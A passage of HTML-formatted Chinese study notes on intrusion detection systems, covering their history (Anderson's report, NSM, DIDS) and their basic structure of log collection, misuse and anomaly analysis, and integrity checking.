<p class=MsoListParagraphCxSpMiddle style="MARGIN: 0cm 0cm 0pt 42pt; TEXT-INDENT: -21pt; LINE-HEIGHT: normal; mso-add-space: auto; mso-list: l5 level1 lfo1"><span lang=EN-US style="FONT-FAMILY: 'Times New Roman','serif'; mso-fareast-language: ZH-CN; mso-fareast-font-family: 'Times New Roman'"><span style="mso-list: Ignore"><font size=2>&shy;</font><span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><font size=2><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">提供有效的灾难恢复</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></font></p>
<p class=MsoListParagraphCxSpLast style="MARGIN: 0cm 0cm 0pt 42pt; TEXT-INDENT: -21pt; LINE-HEIGHT: normal; mso-add-space: auto; mso-list: l5 level1 lfo1"><span lang=EN-US style="FONT-FAMILY: 'Times New Roman','serif'; mso-fareast-language: ZH-CN; mso-fareast-font-family: 'Times New Roman'"><span style="mso-list: Ignore"><font size=2>&shy;</font><span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><font size=2><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">组织系统的不正当使用</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></font></p>
<p class=MsoNormalCxSpFirst style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: normal; mso-add-space: auto"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">审计的前提：有一个支配审计的<strong style="mso-bidi-font-weight: normal">规则集</strong>。</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></p>
<p class=MsoNormalCxSpLast style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: normal; mso-add-space: auto"><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p><font face="宋体, MS Song">&nbsp;</font></o:p></span></p>
<p class=MsoListParagraphCxSpFirst style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: normal; mso-add-space: auto"><font size=2><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">规则集：通常以安全策略的形式明确表述。</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></font></p>
<p class=MsoListParagraphCxSpMiddle style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: normal; mso-add-space: auto"><font size=2><strong style="mso-bidi-font-weight: normal"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">精简审计</span></strong><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">，风险和威胁分类。</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></font></p>
<p class=MsoListParagraphCxSpMiddle style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: normal; mso-add-space: auto"><font size=2><strong style="mso-bidi-font-weight: normal"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">实时</span></strong><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">入侵检测系统，提出反常活动与计算机不正当使用之间的相关性。</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></font></p>
<p class=MsoListParagraphCxSpMiddle style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: normal; mso-add-space: auto"><font size=2><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">基于<strong style="mso-bidi-font-weight: normal">主机</strong>的入侵检测</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></font></p>
<p class=MsoListParagraphCxSpMiddle style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: normal; mso-add-space: auto"><font size=2><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">基于主机和基于<strong style="mso-bidi-font-weight: normal">网络</strong>入侵检测的<strong style="mso-bidi-font-weight: normal">集成</strong></span><strong style="mso-bidi-font-weight: normal"><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></strong></font></p>
<p class=MsoListParagraphCxSpMiddle style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: normal; mso-add-space: auto"><strong style="mso-bidi-font-weight: normal"><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p><font face=Calibri size=2>&nbsp;</font></o:p></span></strong></p>
<p class=MsoListParagraphCxSpMiddle style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: normal; mso-add-space: auto"><font size=2><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">《</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><font face=Calibri>Computer Security Threat Monitoring and Surveillance</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">》</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><font face=Calibri>, James P. Anderson<o:p></o:p></font></span></font></p>
<p class=MsoListParagraphCxSpMiddle style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: normal; mso-add-space: auto"><font size=2><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">《计算机安全威胁监控与监视》</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></font></p>
<p class=MsoListParagraphCxSpMiddle style="MARGIN: 0cm 0cm 0pt 42pt; TEXT-INDENT: -21pt; LINE-HEIGHT: normal; mso-add-space: auto; mso-list: l2 level1 lfo3"><span lang=EN-US style="FONT-FAMILY: 'Times New Roman','serif'; mso-fareast-language: ZH-CN; mso-fareast-font-family: 'Times New Roman'"><span style="mso-list: Ignore"><font size=2>&shy;</font><span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><font size=2><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">精简审计的目标在于从安全审计跟踪数据中消除冗余或无关的记录。</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></font></p>
<p class=MsoListParagraphCxSpMiddle style="MARGIN: 0cm 0cm 0pt 42pt; TEXT-INDENT: -21pt; LINE-HEIGHT: normal; mso-add-space: auto; mso-list: l2 level1 lfo3"><span lang=EN-US style="FONT-FAMILY: 'Times New Roman','serif'; mso-fareast-language: ZH-CN; mso-fareast-font-family: 'Times New Roman'"><span style="mso-list: Ignore"><font size=2>&shy;</font><span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><font size=2><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">计算机系统威胁分类：外部渗透、内部渗透和不法行为。</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></font></p>
<p class=MsoListParagraphCxSpLast style="MARGIN: 0cm 0cm 0pt 42pt; TEXT-INDENT: -21pt; LINE-HEIGHT: normal; mso-add-space: auto; mso-list: l2 level1 lfo3"><span lang=EN-US style="FONT-FAMILY: 'Times New Roman','serif'; mso-fareast-language: ZH-CN; mso-fareast-font-family: 'Times New Roman'"><span style="mso-list: Ignore"><font size=2>&shy;</font><span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><font size=2><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">提出了利用审计数据跟踪监视入侵活动的思想。</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></font></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: normal"><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p><font face=Calibri size=2>&nbsp;</font></o:p></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: normal"><span lang=EN-US style="mso-fareast-language: ZH-CN"><font size=2><font face=Calibri>NSM(Network Security Minitor)<o:p></o:p></font></font></span></p>
<p class=MsoListParagraphCxSpFirst style="MARGIN: 0cm 0cm 0pt 42pt; TEXT-INDENT: -21pt; LINE-HEIGHT: normal; mso-add-space: auto; mso-list: l3 level1 lfo2"><span lang=EN-US style="FONT-FAMILY: 'Times New Roman','serif'; mso-fareast-language: ZH-CN; mso-fareast-font-family: 'Times New Roman'"><span style="mso-list: Ignore"><font size=2>&shy;</font><span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><font size=2><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">第一次将<strong style="mso-bidi-font-weight: normal">网络流</strong>作为审计数据的来源，因而可以在不将审计数据转换成统一格式的情况下监控<strong style="mso-bidi-font-weight: normal">异形主机</strong>。</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></font></p>
<p class=MsoListParagraphCxSpLast style="MARGIN: 0cm 0cm 0pt 42pt; TEXT-INDENT: -21pt; LINE-HEIGHT: normal; mso-add-space: auto; mso-list: l3 level1 lfo2"><span lang=EN-US style="FONT-FAMILY: 'Times New Roman','serif'; mso-fareast-language: ZH-CN; mso-fareast-font-family: 'Times New Roman'"><span style="mso-list: Ignore"><font size=2>&shy;</font><span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><font size=2><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">两大阵营正式成立：基于网络的</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><font face=Calibri>IDS</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">和基于主机的</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><font face=Calibri>IDS<o:p></o:p></font></span></font></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: normal"><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p><font face=Calibri size=2>&nbsp;</font></o:p></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: normal"><span lang=EN-US style="mso-fareast-language: ZH-CN"><font size=2><font face=Calibri>DIDS //???<o:p></o:p></font></font></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: normal"><font size=2><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">最早试图把基于主机和网络监视的方法集成在一起。</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></font></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: normal"><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p><font face=Calibri size=2>&nbsp;</font></o:p></span></p>
<div style="BORDER-RIGHT: #4f81bd 3pt solid; PADDING-RIGHT: 0cm; BORDER-TOP: #4f81bd 3pt solid; PADDING-LEFT: 0cm; BACKGROUND: #4f81bd; PADDING-BOTTOM: 0cm; BORDER-LEFT: #4f81bd 3pt solid; PADDING-TOP: 0cm; BORDER-BOTTOM: #4f81bd 3pt solid; mso-element: para-border-div; mso-border-themecolor: accent1; mso-background-themecolor: accent1">
<h1 style="BACKGROUND: #4f81bd; MARGIN: 0cm 0cm 0pt; mso-background-themecolor: accent1"><font size=3><font color=#ffffff><span lang=EN-US style="mso-fareast-language: ZH-CN"><font face=Calibri>IDS</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">基本结构</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></font></font></h1>
</div>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><font size=2><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">三个功能部件：信息收集、信息分析、信息处理。</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></font></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p><font face=Calibri size=2>&nbsp;</font></o:p></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><font size=2><strong style="mso-bidi-font-weight: normal"><span lang=EN-US style="mso-fareast-language: ZH-CN"><font face=Calibri>1</font></span></strong><strong style="mso-bidi-font-weight: normal"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">．信息收集：</span></strong><strong style="mso-bidi-font-weight: normal"><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></strong></font></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><font size=2><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">系统或网络的日志文件。日志中记录了行为类型及其信息。</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></font></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt 20pt; mso-para-margin-top: 0cm; mso-para-margin-right: 0cm; mso-para-margin-bottom: .0001pt; mso-para-margin-left: 2.0gd"><font size=2><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">如&#8220;用户活动&#8221;：</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></font></p>
<p class=MsoListParagraphCxSpFirst style="MARGIN: 0cm 0cm 0pt 41pt; TEXT-INDENT: -21pt; mso-add-space: auto; mso-list: l1 level1 lfo4; mso-para-margin-top: 0cm; mso-para-margin-right: 0cm; mso-para-margin-bottom: .0001pt; mso-para-margin-left: 2.0gd"><span lang=EN-US style="FONT-FAMILY: 'Times New Roman','serif'; mso-fareast-language: ZH-CN; mso-fareast-font-family: 'Times New Roman'"><span style="mso-list: Ignore"><font size=2>&shy;</font><span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><font size=2><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">信息：登陆，用户</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><font face=Calibri>ID</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">改变，用户对文件的访问，授权，认证信息等。</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></font></p>
<p class=MsoListParagraphCxSpLast style="MARGIN: 0cm 0cm 0pt 41pt; TEXT-INDENT: -21pt; mso-add-space: auto; mso-list: l1 level1 lfo4; mso-para-margin-top: 0cm; mso-para-margin-right: 0cm; mso-para-margin-bottom: .0001pt; mso-para-margin-left: 2.0gd"><span lang=EN-US style="FONT-FAMILY: 'Times New Roman','serif'; mso-fareast-language: ZH-CN; mso-fareast-font-family: 'Times New Roman'"><span style="mso-list: Ignore"><font size=2>&shy;</font><span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><font size=2><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">不期望的行为：重复登陆失败，登录到不期望的位置，非授权的企图访问重要文件等。</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></font></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p><font face=Calibri size=2>&nbsp;</font></o:p></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><font size=2><strong style="mso-bidi-font-weight: normal"><span lang=EN-US style="mso-fareast-language: ZH-CN"><font face=Calibri>2</font></span></strong><strong style="mso-bidi-font-weight: normal"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">．信息分析：</span></strong><strong style="mso-bidi-font-weight: normal"><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></strong></font></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><font size=2><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">模式匹配（误用检测）</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></font></p>
<p class=MsoListParagraphCxSpFirst style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: -21pt; mso-add-space: auto; mso-list: l0 level1 lfo5"><span lang=EN-US style="FONT-FAMILY: 'Times New Roman','serif'; mso-fareast-language: ZH-CN; mso-fareast-font-family: 'Times New Roman'"><span style="mso-list: Ignore"><font size=2>&shy;</font><span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><font size=2><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">将收集到的信息<strong style="mso-bidi-font-weight: normal">与已知</strong>网络入侵和系统误用模式的<strong style="mso-bidi-font-weight: normal">数据库进行比较</strong>，从而发现违背安全策略的行为。</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></font></p>
<p class=MsoListParagraphCxSpLast style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: -21pt; mso-add-space: auto; mso-list: l0 level1 lfo5"><span lang=EN-US style="FONT-FAMILY: 'Times New Roman','serif'; mso-fareast-language: ZH-CN; mso-fareast-font-family: 'Times New Roman'"><span style="mso-list: Ignore"><font size=2>&shy;</font><span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><font size=2><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">一般一个<strong style="mso-bidi-font-weight: normal">进攻模式</strong>可以用一个<strong style="mso-bidi-font-weight: normal">过程</strong>（如执行一条指令）或一个<strong style="mso-bidi-font-weight: normal">输出</strong>（如获得权限）来表示。该过程可以很简单（如通过<strong style="mso-bidi-font-weight: normal">字符串匹配</strong>以寻找一个简单的<strong style="mso-bidi-font-weight: normal">条目或指令</strong>），也可以很复杂（如利用正规的数学表达式来表示<strong style="mso-bidi-font-weight: normal">安全状态的变化</strong>）。</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></font></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><font size=2><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">统计分析（异常检测）</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></font></p>
<p class=MsoListParagraphCxSpFirst style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: -21pt; mso-add-space: auto; mso-list: l4 level1 lfo6"><span lang=EN-US style="FONT-FAMILY: 'Times New Roman','serif'; mso-fareast-language: ZH-CN; mso-fareast-font-family: 'Times New Roman'"><span style="mso-list: Ignore"><font size=2>&shy;</font><span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><font size=2><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">首先给系统对象（如用户、文件、目录和设备等）创建一个统计描述，统计正常使用时的一些测量属性（如访问次数、操作失败次数、延时等）。</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></font></p>
<p class=MsoListParagraphCxSpLast style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: -21pt; mso-add-space: auto; mso-list: l4 level1 lfo6"><span lang=EN-US style="FONT-FAMILY: 'Times New Roman','serif'; mso-fareast-language: ZH-CN; mso-fareast-font-family: 'Times New Roman'"><span style="mso-list: Ignore"><font size=2>&shy;</font><span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><font size=2><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">测量属性的平均值将被用来与网络、系统的行为进行比较，任何观察值在正常范围之外时，就认为有入侵发生。</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></font></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><font size=2><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">完整性分析（往往用于事后分析）</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></font></p>
<p class=MsoListParagraph style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: -21pt; mso-add-space: auto; mso-list: l6 level1 lfo7"><span lang=EN-US style="FONT-FAMILY: 'Times New Roman','serif'; mso-fareast-language: ZH-CN; mso-fareast-font-family: 'Times New Roman'"><span style="mso-list: Ignore"><font size=2>&shy;</font><span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><font size=2><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">主要关注某个文件或对象是否被更改。经常包括文件和目录的内容和属性，它在发现被更改的、被安装木马的应用程序方面特别有效。</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></font></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: normal"><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p><font face=Calibri size=2>&nbsp;</font></o:p></span></p>
